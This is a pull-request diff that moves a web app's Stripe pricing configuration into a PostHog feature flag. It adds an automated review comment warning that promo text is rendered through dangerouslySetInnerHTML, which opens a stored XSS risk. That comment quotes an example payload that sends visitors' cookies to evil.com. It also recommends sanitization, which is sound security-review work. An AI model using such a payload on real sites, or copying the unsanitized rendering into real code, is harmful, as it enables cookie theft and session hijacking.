Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 0 additions & 2 deletions apps/api/src/env.ts
Original file line number Diff line number Diff line change
Expand Up @@ -18,8 +18,6 @@ export const env = createEnv({
SUPABASE_SERVICE_ROLE_KEY: z.string().min(1),
STRIPE_SECRET_KEY: z.string().min(1),
STRIPE_WEBHOOK_SECRET: z.string().min(1),
STRIPE_MONTHLY_PRICE_ID: z.string().min(1),
STRIPE_YEARLY_PRICE_ID: z.string().min(1),
OPENROUTER_API_KEY: z.string().min(1),
DEEPGRAM_API_KEY: z.string().min(1),
ASSEMBLYAI_API_KEY: z.string().min(1),
Expand Down
1 change: 1 addition & 0 deletions apps/api/src/integration/index.ts
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
export * from "./supabase";
export * from "./stripe";
export * from "./posthog";
export * from "./pricing-config";
export * from "./restate";
25 changes: 25 additions & 0 deletions apps/api/src/integration/pricing-config.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
import { posthog } from "./posthog";

export type PricingConfig = {
monthly_price_id: string;
yearly_price_id: string;
monthly_display_price: number;
yearly_display_price: number;
monthly_original_price: number | null;
yearly_original_price: number | null;
promo_text: string | null;
promo_active: boolean;
save_percentage: string | null;
};

const FLAG_KEY = "pricing-config";

export async function getPricingConfig(): Promise<PricingConfig> {
const payload = await posthog.getFeatureFlagPayload(FLAG_KEY, "");
if (payload && typeof payload === "object") {
return payload as PricingConfig;
}
throw new Error(
"pricing-config feature flag not found or has invalid payload",
);
}
6 changes: 4 additions & 2 deletions apps/api/src/routes/billing.ts
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ import { z } from "zod";

import { env } from "../env";
import type { AppBindings } from "../hono-bindings";
import { getPricingConfig } from "../integration/pricing-config";
import { stripe } from "../integration/stripe";
import { supabaseAuthMiddleware } from "../middleware/supabase";
import { API_TAGS } from "./constants";
Expand Down Expand Up @@ -98,10 +99,11 @@ billing.post(
return c.json({ error: "stripe_customer_id_missing" }, 500);
}

const pricingConfig = await getPricingConfig();
const priceId =
interval === "yearly"
? env.STRIPE_YEARLY_PRICE_ID
: env.STRIPE_MONTHLY_PRICE_ID;
? pricingConfig.yearly_price_id
: pricingConfig.monthly_price_id;

try {
await stripe.subscriptions.create(
Expand Down
3 changes: 2 additions & 1 deletion apps/web/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -54,6 +54,7 @@
"motion": "^11.18.2",
"postgres": "^3.4.8",
"posthog-js": "^1.336.4",
"posthog-node": "^5.24.11",
"react": "^19.2.4",
"react-chartjs-2": "^5.3.1",
"react-dom": "^19.2.4",
Expand All @@ -71,12 +72,12 @@
"zod": "^4.3.6"
},
"devDependencies": {
"@hypr/plugin-auth": "workspace:*",
"@argos-ci/playwright": "^6.4.1",
"@content-collections/core": "^0.11.1",
"@content-collections/mdx": "^0.2.2",
"@content-collections/vite": "^0.2.8",
"@dotenvx/dotenvx": "^1.52.0",
"@hypr/plugin-auth": "workspace:*",
"@playwright/test": "^1.58.1",
"@tailwindcss/typography": "^0.5.19",
"@testing-library/dom": "^10.4.1",
Expand Down
2 changes: 0 additions & 2 deletions apps/web/src/env.ts
Original file line number Diff line number Diff line change
Expand Up @@ -24,8 +24,6 @@ export const env = createEnv({
SUPABASE_SERVICE_ROLE_KEY: z.string().min(1).optional(),

STRIPE_SECRET_KEY: requiredInProd(z.string().min(1)),
STRIPE_MONTHLY_PRICE_ID: requiredInProd(z.string().min(1)),
STRIPE_YEARLY_PRICE_ID: requiredInProd(z.string().min(1)),

LOOPS_KEY: requiredInProd(z.string().min(1)),

Expand Down
13 changes: 6 additions & 7 deletions apps/web/src/functions/billing.ts
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,8 @@ import { z } from "zod";
import { getRpcCanStartTrial } from "@hypr/api-client";
import { createClient } from "@hypr/api-client/client";

import { env, requireEnv } from "@/env";
import { env } from "@/env";
import { getPricingConfig } from "@/functions/pricing-config";
import { getStripeClient } from "@/functions/stripe";
import { getSupabaseServerClient } from "@/functions/supabase";

Expand Down Expand Up @@ -115,10 +116,11 @@ export const createCheckoutSession = createServerFn({ method: "POST" })
stripeCustomerId = newCustomer.id;
}

const pricingConfig = await getPricingConfig();
const priceId =
data.period === "yearly"
? requireEnv(env.STRIPE_YEARLY_PRICE_ID, "STRIPE_YEARLY_PRICE_ID")
: requireEnv(env.STRIPE_MONTHLY_PRICE_ID, "STRIPE_MONTHLY_PRICE_ID");
? pricingConfig.yearly_price_id
: pricingConfig.monthly_price_id;

const successParams = new URLSearchParams({ success: "true" });
if (data.scheme) {
Expand Down Expand Up @@ -304,10 +306,7 @@ export const createTrialCheckoutSession = createServerFn({
payment_method_collection: "if_required",
line_items: [
{
price: requireEnv(
env.STRIPE_MONTHLY_PRICE_ID,
"STRIPE_MONTHLY_PRICE_ID",
),
price: (await getPricingConfig()).monthly_price_id,
quantity: 1,
},
],
Expand Down
42 changes: 42 additions & 0 deletions apps/web/src/functions/pricing-config.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
import { createServerOnlyFn } from "@tanstack/react-start";
import { PostHog } from "posthog-node";

import { env } from "@/env";

export type PricingConfig = {
monthly_price_id: string;
yearly_price_id: string;
monthly_display_price: number;
yearly_display_price: number;
monthly_original_price: number | null;
yearly_original_price: number | null;
promo_text: string | null;
promo_active: boolean;
save_percentage: string | null;
};

const FLAG_KEY = "pricing-config";

let posthogClient: PostHog | null = null;

function getPostHogClient(): PostHog {
if (!posthogClient) {
posthogClient = new PostHog(env.VITE_POSTHOG_API_KEY!, {
host: env.VITE_POSTHOG_HOST,
});
}
return posthogClient;
}

export const getPricingConfig = createServerOnlyFn(
async (): Promise<PricingConfig> => {
const client = getPostHogClient();
const payload = await client.getFeatureFlagPayload(FLAG_KEY, "");
if (payload && typeof payload === "object") {
return payload as PricingConfig;
}
throw new Error(
"pricing-config feature flag not found or has invalid payload",
);
},
);
152 changes: 91 additions & 61 deletions apps/web/src/routes/_view/pricing.tsx
Original file line number Diff line number Diff line change
@@ -1,10 +1,13 @@
import { useFeatureFlagPayload } from "@posthog/react";
import { createFileRoute, Link } from "@tanstack/react-router";
import { CheckCircle2, MinusCircle, XCircle } from "lucide-react";
import { useMemo } from "react";

import { cn } from "@hypr/utils";

import { Image } from "@/components/image";
import { SlashSeparator } from "@/components/slash-separator";
import type { PricingConfig } from "@/functions/pricing-config";

export const Route = createFileRoute("/_view/pricing")({
component: Component,
Expand All @@ -14,6 +17,7 @@ interface PricingPlan {
name: string;
price: { monthly: number; yearly: number } | null;
originalPrice?: { monthly: number; yearly: number };
savePercentage?: string | null;
description: string;
popular?: boolean;
features: Array<{
Expand All @@ -24,73 +28,99 @@ interface PricingPlan {
}>;
}

const pricingPlans: PricingPlan[] = [
const FREE_PLAN_FEATURES: PricingPlan["features"] = [
{ label: "Local Transcription", included: true },
{
name: "Free",
price: null,
description:
"Fully functional with your own API keys. Perfect for individuals who want complete control.",
features: [
{ label: "Local Transcription", included: true },
{
label: "Speaker Identification",
included: true,
comingSoon: true,
},
{ label: "Bring Your Own Key (STT & LLM)", included: true },
{ label: "Basic Sharing (Copy, PDF)", included: true },
{ label: "All Data Local", included: true },
{ label: "Templates & Chat", included: true },
{ label: "Integrations", included: false, comingSoon: true },
{ label: "Cloud Services (STT & LLM)", included: false },
{ label: "Cloud Sync", included: false },
{ label: "Shareable Links", included: false },
],
label: "Speaker Identification",
included: true,
comingSoon: true,
},
{ label: "Bring Your Own Key (STT & LLM)", included: true },
{ label: "Basic Sharing (Copy, PDF)", included: true },
{ label: "All Data Local", included: true },
{ label: "Templates & Chat", included: true },
{ label: "Integrations", included: false, comingSoon: true },
{ label: "Cloud Services (STT & LLM)", included: false },
{ label: "Cloud Sync", included: false },
{ label: "Shareable Links", included: false },
];

const PRO_PLAN_FEATURES: PricingPlan["features"] = [
{ label: "Everything in Free", included: true },
{ label: "Integrations", included: true, comingSoon: true },
{ label: "Cloud Services (STT & LLM)", included: true },
{
name: "Pro",
price: {
monthly: 8,
yearly: 59,
},
originalPrice: {
monthly: 25,
yearly: 250,
},
description:
"No API keys needed. Get cloud services, advanced sharing, and team features out of the box.",
popular: true,
features: [
{ label: "Everything in Free", included: true },
{ label: "Integrations", included: true, comingSoon: true },
{ label: "Cloud Services (STT & LLM)", included: true },
{
label: "Cloud Sync",
included: true,
tooltip: "Select which notes to sync",
comingSoon: true,
},
{
label: "Shareable Links",
included: true,
tooltip: "DocSend-like: view tracking, expiration, revocation",
comingSoon: true,
},
],
label: "Cloud Sync",
included: true,
tooltip: "Select which notes to sync",
comingSoon: true,
},
{
label: "Shareable Links",
included: true,
tooltip: "DocSend-like: view tracking, expiration, revocation",
comingSoon: true,
},
];

function buildPricingPlans(config: PricingConfig | null): PricingPlan[] {
return [
{
name: "Free",
price: null,
description:
"Fully functional with your own API keys. Perfect for individuals who want complete control.",
features: FREE_PLAN_FEATURES,
},
{
name: "Pro",
price: {
monthly: config?.monthly_display_price ?? 8,
yearly: config?.yearly_display_price ?? 59,
},
originalPrice:
config?.monthly_original_price && config?.yearly_original_price
? {
monthly: config.monthly_original_price,
yearly: config.yearly_original_price,
}
: undefined,
savePercentage: config?.save_percentage ?? null,
description:
"No API keys needed. Get cloud services, advanced sharing, and team features out of the box.",
popular: true,
features: PRO_PLAN_FEATURES,
},
];
}

function usePricingConfig(): PricingConfig | null {
const payload = useFeatureFlagPayload("pricing-config");
if (payload && typeof payload === "object") {
return payload as PricingConfig;
}
return null;
}

function Component() {
const pricingConfig = usePricingConfig();
const pricingPlans = useMemo(
() => buildPricingPlans(pricingConfig),
[pricingConfig],
);

return (
<main
className="flex-1 bg-linear-to-b from-white via-stone-50/20 to-white min-h-screen"
style={{ backgroundImage: "url(/patterns/dots.svg)" }}
>
<div className="max-w-6xl mx-auto border-x border-neutral-100 bg-white">
<TeamPricingBanner />
{pricingConfig?.promo_active && pricingConfig.promo_text && (
<PromoBanner text={pricingConfig.promo_text} />
)}
<HeroSection />
<SlashSeparator />
<PricingCardsSection />
<PricingCardsSection plans={pricingPlans} />
<SlashSeparator />
<FAQSection />
<SlashSeparator />
Expand All @@ -100,7 +130,7 @@ function Component() {
);
}

function TeamPricingBanner() {
function PromoBanner({ text }: { text: string }) {
return (
<div
className={cn([
Expand All @@ -110,11 +140,7 @@ function TeamPricingBanner() {
"font-serif text-sm text-stone-700",
])}
>
<span>
<strong>Early Bird Discount:</strong> Get 68% off as we launch our new
version and help with migration —{" "}
<strong>offer ends February 28th</strong>
</span>
<span dangerouslySetInnerHTML={{ __html: text }} />
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 XSS via dangerouslySetInnerHTML with PostHog feature flag payload

The PromoBanner component renders promo_text from the PostHog pricing-config feature flag payload directly as raw HTML using dangerouslySetInnerHTML. Any user with access to modify the PostHog feature flag can inject arbitrary JavaScript that executes in every visitor's browser on the pricing page.

Security impact and recommendation

At apps/web/src/routes/_view/pricing.tsx:143, the promo_text string from PostHog is inserted as raw HTML:

<span dangerouslySetInnerHTML={{ __html: text }} />

While PostHog is an admin-controlled service, this creates an unnecessary stored XSS vector. If the PostHog account is compromised, or a team member with PostHog access acts maliciously, they can set promo_text to something like <img src=x onerror="document.location='https://evil.com/?c='+document.cookie"> which would execute on all pricing page visitors.

The previous TeamPricingBanner used safe, hardcoded JSX content. The promo text is simple marketing copy (e.g., "Early Bird Discount: ...") that could safely use a text-only approach or be sanitized before insertion.

Impact: Arbitrary JavaScript execution in visitors' browsers, enabling cookie theft, session hijacking, or phishing.

Prompt for agents
In apps/web/src/routes/_view/pricing.tsx, replace the dangerouslySetInnerHTML usage in the PromoBanner component (line 143) with safe text rendering. If HTML formatting (like bold tags) is truly needed in promo_text, use a sanitization library such as DOMPurify to strip scripts and event handlers before insertion. For example: import DOMPurify from 'dompurify'; and then use dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(text) }}. Alternatively, if only simple formatting like bold is needed, parse the text and render React elements instead of using innerHTML.
Open in Devin Review

Was this helpful? React with 👍 or 👎 to provide feedback.

</div>
);
}
Expand All @@ -135,11 +161,11 @@ function HeroSection() {
);
}

function PricingCardsSection() {
function PricingCardsSection({ plans }: { plans: PricingPlan[] }) {
return (
<section className="py-16 px-4 laptop:px-0">
<div className="grid grid-cols-1 md:grid-cols-2 gap-8 max-w-5xl mx-auto">
{pricingPlans.map((plan) => (
{plans.map((plan) => (
<PricingCard key={plan.name} plan={plan} />
))}
</div>
Expand Down Expand Up @@ -190,7 +216,11 @@ function PricingCard({ plan }: { plan: PricingPlan }) {
${plan.originalPrice.yearly}
</span>
)}{" "}
<span className="text-green-700 font-medium">(save 76%)</span>
{plan.savePercentage && (
<span className="text-green-700 font-medium">
(save {plan.savePercentage})
</span>
)}
</div>
</div>
) : (
Expand Down
Loading